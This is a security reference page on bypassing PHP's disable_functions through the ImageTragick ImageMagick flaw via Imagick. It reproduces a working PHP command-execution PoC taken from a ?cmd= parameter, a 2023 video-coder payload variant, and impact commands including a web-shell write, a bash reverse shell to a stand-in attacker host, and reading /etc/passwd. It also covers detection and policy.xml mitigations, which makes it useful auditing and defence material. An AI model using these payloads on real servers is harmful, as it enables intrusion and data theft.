Historical ImageTragick disable_functions Bypass via Imagick
The historical ImageTragick command injection (CVE-2016-3714) can be reached when the PHP Imagick extension passes crafted content to a vulnerable ImageMagick backend and an unsafe delegate/coder policy permits the required operation. The injected command runs outside PHP’s function-dispatch mechanism, so PHP’s
disable_functionsdirective does not stop it.[4]The original PoC published by RicterZ (Chaitin Security Research Lab) in May 2016 is reproduced below.[1] It is useful when auditing legacy installations, but neither a current PHP version nor an Imagick extension version alone proves exposure: the ImageMagick backend version, delegate configuration, and active
policy.xmldetermine reachability.
The original Safebuff post is no longer reliably available; the preserved exploit is also mirrored by VFocus.[1]
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($tmp);
?>
Why does it work?
Imagick::readImage()invokes the linked ImageMagick parsing stack, which can invoke an external delegate for selected URL/coder operations. Determine whether the deployment reaches linked-library functionality, an externalconvert/magickcommand, or another delegate path rather than assuming one architecture.- The MVG script sets the fill to an external URI. In affected ImageMagick versions, insufficient filtering lets shell metacharacters escape into a delegate command and reach a shell.[4]
- The delegate command is not a call to PHP’s disabled
exec/systemfunctions.open_basedirgoverns PHP’s own filesystem operations rather than an already-started delegate process, andsafe_modeis historical and was removed in PHP 5.4.[6][7]
Version and policy scope
- CVE-2016-3714 affects ImageMagick before 6.9.3-10 and the early 7.x releases before 7.0.1-1. Distribution backports mean package versions must be checked against the vendor advisory, not only compared lexically.[4]
- Other delegate command-injection bugs have had different inputs and affected ranges. Do not assume the original MVG payload demonstrates them:
Issue #6338 reported the video:vsync/video:pixel-format behavior against ImageMagick 7.1.0-1. The issue record does not state a universal fixed version, so verify the distribution’s patch status and reproduce the exact input in an isolated lab before reporting it.[3]
An earlier version also listed ps: and text: as coder-family leads. Those identifiers are retained for policy review and targeted testing, but they should not be presented as alternate names for CVE-2020-29599: that CVE concerns an unsanitized PDF -authenticate value.[2][5]
Modern payload variants
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
If command execution is confirmed in an authorized lab, useful impact checks include:
- File write –
... > /var/www/html/shell.php(write web-shell outside open_basedir) - Reverse shell –
bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - Enumerate –
id; uname -a; cat /etc/passwd
Quick detection & enumeration
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
An enabled MVG, URL, VIDEO, or delegate entry is attack surface, not proof of exploitation. Confirm the backend package’s security status, identify the active policy path in the output, and use a harmless marker command in an isolated test environment.
Mitigations
-
Patch/upgrade – install a currently supported ImageMagick package carrying the vendor/distribution fixes. Upgrade Imagick as well, but remember that the affected parser/delegate code is in ImageMagick.
-
Harden
policy.xml– for services processing untrusted images, consider denying all external delegates and allowing only the required web-safe modules. ImageMagick documents that its default security model is allow-unless-denied and that the last matching rule wins.[5]<policy domain="delegate" rights="none" pattern="*"/> <policy domain="coder" name="MVG" rights="none"/> <policy domain="coder" name="MSL" rights="none"/> <policy domain="coder" name="URL" rights="none"/> <policy domain="coder" name="VIDEO" rights="none"/> <policy domain="coder" name="PS" rights="none"/> <policy domain="coder" name="TEXT" rights="none"/> -
Remove the extension on untrusted hosting environments. In most web stacks
GDorImagickis not strictly required. -
Treat
disable_functionsonly as defence-in-depth – never as a primary sandboxing mechanism.
References
- [1] PHP Imagick 3.3.0
disable_functionsbypass (VFocus mirror) - [2] CVE-2020-29599 – ImageMagick shell injection via PDF
-authenticate - [3] GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)
- [4] NVD - CVE-2016-3714 (ImageTragick)
- [5] ImageMagick security-policy documentation
- [6] PHP manual —
open_basedir - [7] PHP manual — removed
safe_modefeature